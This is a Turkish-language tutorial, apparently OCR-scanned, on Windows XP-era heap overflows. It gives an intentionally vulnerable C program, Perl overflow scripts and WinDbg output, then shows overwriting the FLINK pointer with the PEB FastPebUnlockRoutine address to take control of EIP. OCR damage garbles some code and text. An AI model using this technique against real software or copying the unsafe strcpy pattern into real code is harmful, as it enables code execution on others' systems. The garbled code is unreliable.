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Bu yazida Heap overflow hatalarini ve exploiting yontemlerini ele alacagiz. Daha once bu konuda herhangi bir
Tirkce kaynaga rastlamadigimiz igin bodyle bir makale hazirlamanin yerel community'ye katki saglayacagini
disundik. Vakit buldukga bu konuyu gelistirmeyi planliyoruz. Heap Overflow Exploiting konusunu sirasiyla PEB,
UEH ve Heap Spray yontemlerine deginerek bir yazi dizisi halinde ele alacagiz. Umarim keyifli bir yazi dizisi
ortaya cikar.

Simdi oncelikle Heap structureini yapisini tanimakla ise baslayalim. Bu konuyu kisa tutup, isin pratik kismina
biran 6nce gececegiz ancak heap'in yapisini anlamaniz size fayda saglar. Bu sebeple Advanced Windows
Debugging kitabini okumanizi siddetle tavsiye ediyorum.

Bize lazim olacak alet gantasini;
-Windbg veya ImmunityDebugger
-Perl veya Python

Olarak siralayabiliriz.

Heap nedir dersek, programlarin dinamik bellek ihtiyacini karsilayan hafiza alanlaridir. Heap'de uygulama hafiza
alanina ihtiyaci oldugunda “dinamik” olarak tahsis (allocate) ve free edebilir.

Bu tarz konulari somut bir 6rnek haline getirmek biraz zor oluyor ancak kafanizda canlanmasi agisindan soyle
duslinebilirsiniz, heap kutularla dolu bir oda. Ve siz istediginiz kutuyu ihtiyaciniz oldugunda alip kullanip, isiniz
bittiginde tekrar odaya geri koyuyorsunuz. Kutuyu alma islemine allocation diyoruz (malloc, heapalloc vb
fonksiyonlar ile), yani hafiza ayiriyoruz.Kullandiktan sonra tekrar geri vermeye de free islemi diyoruz. Yani
odadan kendimize bir hafiza aliyoruz kullaniyoruz ve isimiz bittiginde geri birakiyoruz (free).

Peki ayni alani birden fazla free edersek ne olur? Boyle hatalara Double Free diyoruz, bir heap corruption agigi
trd. Sistemde -ceteris paribus- kod galistirmaya sebep olabilecek hatalardandir.

Windows mimarisinde, isletim sisteminden bellek istemenin-tahsis etmenin birden fazla yolu vardir. (Standart C
fonksiyonlari vb.) Asagidaki resimde Windows isletim sisteminin bellek yonetim yapisini gorebilirsiniz.
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Figure 6.1* - Windows Memory Management

Sekilde windows isletim sisteminin hafiza yonetim yapisini gérdiiniiz. En nihayetinde igletim sistemi bizi virtual
memory'ye yonlendirmekte. Kullandigimiz c kitiphaneleri (malloc vb.) NTDLL Heap API leri araciligiyla virtual
memory ye yonlenmekte. Simdi Windows Heap Manager a géz atalim ve Front End Allocator (LookAside List ve
Low Fragmentation) yapisini inceleyelim.
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Figure 6.2* Heap Manager

Front End Allocator, heap yonetiminde back end allocator ile baglantiyi saglayan bir optimizasyon katmani
diyebiliriz. Windows sistemlerde 2 adet front end allocator bulunmakta;

1-) Look aside list
2-) Low Fragmentation

Vista'ya kadar bitiin windows isletim sistemlerinde default olarak Look aside list kullaniimaktaydi. Vista ve
Windows 7de ise default olarak Low Fragmentation kullaniimakta.



Vista ve Windows 7 icin hala bir heap overflow exploiti goremediyseniz, sebebi iste bu :) (Tabi browser tabanli
heap exploitleri disinda) En son Low Fragmentation Heap ve exploiting senaryolari hakkinda bir kag ¢alisma
paylasildi, ilgilenenler kaynakgadan dékimanlara ulasabilir.

Look aside list ile devam edelim. Hafizada bellek tahsis ederken isletim sistemi, bunu Lookaside List sistemini
kullanarak yapiyor. Look aside list resimde gérdugiiniiz gibi 128 adet bagli listeden (linked list) olusan bir
tablodur. Tablodaki her bir bagh liste belli uzunlukta (16'dan 1024 byte'a kadar) bos bélgeleri (free heap blocks)
tutar.

Figure 6,2'de gérdiginiz, Sifir ile gosterilen bolge kullanilmaz. Her bir heap block 8bytelik bir metadata igerir.

Yani eger tahsis islemi yaparken istenilen alan 24byte ise , bu istek Front End Allocator'a ulastiginda, Front End
Allocator tabloda 32 bytelik bir heap block bélgesini (24byte istenilen alan + 8byte Metadata) tutan bagli listeyi
arar.

Eger 32 bytelik alan uygun ise -bu alan 3. bagli listeye denk gelmekte- tahsis islemi gerceklesir. isimiz bittiginde
kullandigimiz alani free() ederek iste bu 3. bagli listedeki 32 bytelik alani heap manager tekrar yerine geri koyar.
Gelen “n” bytelik bellek tahsis istegini tablodaki kaginci indexe génderecegini n+8/8-1 seklinde formule
edebiliriz.
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Figure 6.2 - Lookaside Table

Yukaridaki figure bakalim ve uygulamamizin 16bytelik bir bellek tahsis isteginde bulundugunu farzedelim. 16+8
= 24 bytelik alana ihtiyac var.

Heap Manager 16+8/8-1 formiliiyle 2. listeye bakacak ve uygun bir alan olmadigini gériince bu allocation
islemini Look aside Listden karsilayamayacak ve bu tahsis islemini Back end allocator a yonlendirecek.
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Figure 6.3 - Free Lists



Back end allocator, front end allocator yapisina benzer free list adli listelerden olusan bir tablodur. Free Listler
belirli bir heapdeki uygun heap bloklarini takip eder ve bilgisini tutar. Back end allocator’a istek geldiginde,
heap manager free listlere danisarak gerekli tahsis islemlerini gerceklestirir. Bu islemi free list bitmapleriyle
gerceklestirir. 128 bitden olusan Bitmapler, free heap block igeriyorsa 1, icermiyorsa 0’dan olusur. Asagidaki
resimde freelist bitmap drnegini gorebilirsiniz.
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Figure 6.5 - Freelist Bitmap

Figure 6.4 ve 6.5 birbiriyle uyumlu. Backend allocator’a 8bytelik tahsis istegi geldiginde (8+8=16) , heap
manager freelist bitmapde 2. indexe bakar [freelist2’de 16bytelik free heap bloklari mevcut oldugundan,
bitmapdeki 2.index gorildigi gibi “1” degerini icermektedir.] ve tahsis islemini gerceklestirir.

Ayrica Freelist yapisinda Flink ve Blink adinda iki adet pointer bulunmaktadir. Bu pointerlar bir dnceki allocation
isleminde ve bir sonraki gerceklesecek allocation isleminde kullanilan free blocklarin bilgisini tutar. iste heap
overflow hatalarinda biz bu pointerlarin Gizerine yazabiliyorsak, “arbitrary dword overwrite” durumu olusabilir
ve pointerlar lGzerinden cpu registerlarini kontrol edebiliriz. Sonug olarak programin akigini degistirebilme
imkani elde ederiz. (pwned!)

Simdi 6rnek bir heap overflow zafiyeti barindiran programimizla ise devam edelim;

#include <stdio.h>
#include <windows.h>

int main(int argc,char *argv([])

{

char *a,*b,*c;
long hHeap;

if(argc < 2) {

printf("Usage:heap argument\n");

exit(1);

}

hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS,5000,9000);
a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10);
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10);
¢ = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,500);
strepy(cargv[1]); /* loverflow
HeapFree(hHeap,0,c);

HeapFree(hHeap,0,b);

HeapFree(hHeap,0,a);

HeapDestroy(hHeap);

500byte dan fazla argliman girdigimizde program crash olmakta. Kaynak kodda sebebi gortlebilir. Agig
tetikleyen o6rnek perl kodu asagidaki tabloda gorilebilir;




$data="A"x512;

$ecx = "BBBB";
$eax = "CCCC";

$buffer = $data.$ecx.$eax;

system("heap.exe", "$buffer");

512 byte’den sonra EAX ve ECX registerlarini overwrite edebiliyoruz. Crash meydana geldigindeki register
degerleri asagidaki gibidir;

eax=43434343 ebx=003f0000 ecx=42424242 edx=003f08b0 esi=003f08b0 edi=00000008

eip=77f5234c esp=0022fce4 ebp=0022ff08 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\System32\ntdll.dll -
ntdll!stricmp+0x28c:

77£5234c 8908 mov dword ptr [eax],ecx ds:0023:43434343=7772277?

0:000>u

ntdll!stricmp+0x28c:

77£5234¢ 8908 mov dword ptr [eax],ecx

77f5234e 894104 mov__dword ptr [ecx+4],eax

Aslinda burda FLINK ve BLINK pointerlarina yazmis oluyoruz. Bu durumu gérmek icin 'heap modiiliyle
freelistlerin offsetine bakalim. !heap, !peb vb. komutlari kullanmaniz igin isletim sisteminizin debug
symbollerini yliklemeyi unutmayin.

0:000> 'heap -h 3f0000 -f
Index Address Name Debugging options enabled
5: 003f0000

Segment at 003f0000 to 003f3000 (00002000 bytes committed)
Flags: 00001004
ForceFlags: 00000004
Granularity: 8 bytes
Segment Reserve: 00100000
Segment Commit: 00002000
DeCommit Block Thres: 00000200
DeCommit Total Thres: 00002000
Total Free Size:  000002ea
Max. Allocation Size: 7ffdefff
Lock Variable at:  003f0608
Next TagIindex: ~ 0000
Maximum Taglndex: 0000
Tag Entries: 00000000
PsuedoTag Entries: 00000000
Virtual Alloc List: 003f0050
UCR FreelList: 003f0598
FreeList Usage: 00000000 00000000 00000000 00000000
FreeList[ 00 ] at 003f0178: 003f08b8 . 003f08b8

lheap debugger ciktisi

0:000> dd 003f08b8

003f08b8 42424242 43434343 00000000 00000000
003f08c8 00000000 00000000 00000000 00000000
003f08d8 00000000 00000000 00000000 00000000
003f08e8 00000000 00000000 00000000 00000000
003f08f8 00000000 00000000 00000000 00000000
003f0908 00000000 00000000 00000000 00000000
003f0918 00000000 00000000 00000000 00000000
003f0928 00000000 00000000 00000000 00000000




FLINK ve BLINK gorduginiz gibi overwrite edilmis durumda. Bu durumda ECX = BLINK ve EAX = FLINK
diyebiliriz. PEB yontemiyle EIP da nasil kontrol kazanacagimizi gésterelim.

0:000> .symfix

0:000> .reload

Reloading current modules
0:000> !peb

PEB at 7ffdf000

0:000> dt ntdll!_PEB 7ffdf000
+0x000 InheritedAddressSpace : 0 "
+0x001 ReadImageFileExecOptions: 0 "
+0x002 BeingDebugged :0x1"
+0x003 SpareBool 0"

+0x004 Mutant : Oxfrfef
+0x008 ImageBaseAddress : 0x00400000
+0x00c Ldr : 0x00341e90 _PEB_LDR_DATA

+0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : (null)

+0x018 ProcessHeap : 0x00240000

+0x01c FastPebLock :0x77fc4d80 _RTL_CRITICAL_SECTION

+0x020 FastPebLockRoutine : 0x77f755de

+0x024 FastPebUnlockRoutine : 0x77f75690

7ffdf000 + 0x024 = 7ffdf024 = FastPebUnlockRoutine.

$data = "\xcc" x 512;

$ecx = "\x41\x41\x41\x41";
$eax = "\x24\xf0\xfd\x7f";

$buffer = $data.$ecx.$eax.$data2;

system("heap.exe", "$buffer");

Burda Perl kodumuz buffer’i overflow edip, EAX yani FLINK pointer’ina FastPebUnlockRoutine’in adresini
yaziyor. Bu sayede exception yaratip , ExitProcess ¢cagirmis oluyoruz. Ve bingo! Sonug; EIP register’ini kontrol
edebiliyoruz. Artik programin akisini istediginiz gibi degistirebilirsiniz, shellcode’a ziplayip sistemde istediginiz
kodu calistirabilirsiniz ©

(404.72c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=7ffdf000 ebx=00000000 ecx=00000000 edx=77f79bdf esi=00000003 edi=00000000
eip=41414141 esp=0022df08 ebp=0022e830 iopl=0 nv up ei pl zr na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 7? 77
Kaynaklar:

*Figure 6.1 ve 6.2 resimleri Advanced Windows Debugging kitabindan alinmistir.
*Figure 6.1 and 6.2 images are from Advanced Windows Debugging.
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